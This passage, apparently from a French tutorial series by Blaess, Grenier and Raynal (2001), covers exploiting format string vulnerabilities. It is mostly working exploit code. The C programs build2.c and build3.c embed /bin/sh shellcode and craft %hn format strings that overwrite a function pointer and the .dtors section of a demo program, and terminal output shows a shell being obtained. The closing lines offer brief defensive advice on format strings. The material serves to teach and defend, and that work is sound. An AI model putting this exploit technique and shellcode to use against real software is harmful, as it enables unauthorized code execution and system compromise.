lui-même avant d'appeler vuln
. Ainsi, nous disposerons de l'adresse
précise de argv
que nous utiliserons pour passer notre
shellcode :
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
Nous déterminons, en fonction du nombre d'arguments, ce que nous devons
appeler. Pour lancer notre attaque, nous fournissons juste à build2
l'adresse où nous voulons écrire et l'offset entre cette adresse et le début du
buffer. Nous n'avons plus à donner la valeur car celle-ci est l'adresse du
shellcode, que nous nous efforçons justement de conserver constante.
Pour y parvenir, l'idée est de conserver une représentation identique de la
pile en mémoire entre l'appel récursif de build2
et de
vuln
, ce qui explique que nous appelons quand même la fonction
build()
afin d'occuper le même espace mémoire :
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 Avant formatage : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Pourquoi ceci n'a pas fonctionné ? Nous avons dit que nous devions
recréer une représentation identique de la pile en mémoire ... et nous ne
l'avons pas fait. En effet, argv[0]
(le nom du programme) a changé
et occupe moins de caractères. build2
occupe 6 octets, contre 4
pour vuln. Cette différence se retrouve dans l'affichage précédent. L'adresse du
shellcode lors du second appel de build2
est donnée par
sc = 0xbffff88f
mais l'affichage de argv[2]
dans vuln
nous donne 2 0xbffff891
, soit la
différence de 2 octets prévue !Pour résoudre ceci, il suffit de renomer
build2
en bui2
:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 Avant formatage : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0xbffff891 (0xbffff634) bash$
Et hop ! Ça marche tout de suite mieux. Nous plaçons le shellcode dans la
pile et nous modifions l'adresse contenu dans ptrf
pour aller
pointer sur le shellcode et l'exécuter (ceci suppose que la pile soit
exécutable... ). Mais comme nous l'avons vu, les chaînes de format nous
permettent d'écrire n'importe où : ajoutons donc un destructeur dans la
section .dtors
:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 Avant formatage : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000] (127) Après formatage : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
A la différence de nos précédentes modifications de la section
.dtors
, le programme ne génère pas de coredump lorsque nous
quittons le shell si difficilement acquis. Ceci provient de la présence du
exit(0)
dans notre shellcode.
Pour conclure, en guise de cerise sur le gâteau, voici build3.c
qui fait exactement la même chose, en passant le shellcode dans l'environnement
via une variable :
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Là encore, comme cet environnement se situe dans la pile, il faut prendre
garde à ne pas modifier les positions des arguments et des variables. Le binaire
devra donc comporter le même nombre de caractères que vuln
.
Nous utilisons la variable extern char **environ
pour
transmettre les arguments dont nous avons besoin :
environ[0]
: le shellcode ;
environ[1]
: l'adresse où écrire ;
environ[2]
: l'offset. "%s"
dans
l'invocation des routines comme printf()
, syslog()
,
etc. Si vous ne pouvez vraiment pas faire autrement, il faut alors vérifier très
soigneusement l'entrée fournie par l'utilisateur (cf. article 3 de cette série).
exec()
:), ses
encouragements... et surtout pour son article sur les chaînes de format qui a
provoqué, outre notre intérêt pour la question, une agitation cérébrale intense
;-)
Nous avons également une grande dette envers Georges Tarbouriech pour toutes les traductions qu'il fait de nos articles.
printf("Hello world\n");
Christophe BLAESS - ccb@club-internet.fr Christophe GRENIER - grenier@nef.esiea.fr Frédéreric RAYNAL - pappy@users.sourceforge.net
Last modified: Fri Feb 16 10:49:47 CET 2001